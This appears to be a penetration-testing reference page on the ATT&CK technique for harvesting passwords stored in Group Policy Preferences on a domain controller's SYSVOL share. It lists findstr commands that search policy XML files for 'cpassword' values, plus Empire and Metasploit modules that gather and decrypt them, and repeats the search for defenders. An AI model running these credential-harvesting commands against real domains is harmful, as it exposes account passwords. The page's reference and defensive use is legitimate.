Group Policy Preferences

https://attack.mitre.org/techniques/T1552/006/

ATT&CK ID: T1552.006

Permissions Required: User

Description

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).

Techniques

CMD

findstr /S cpassword %logonserver%\sysvol\*.xml
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Empire

usemodule powershell/privesc/gpp
usemodule python/privesc/windows/get_gpppasswords

Metasploit

use post/windows/gather/credentials/gpp

Further Reading

🔨pageGPP Passwords

Mitigation

The same methods of searching for GPP passwords offensively, exists to find the same issue from a defense perspective.

CMD

findstr /S cpassword %logonserver%\sysvol\*.xml
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml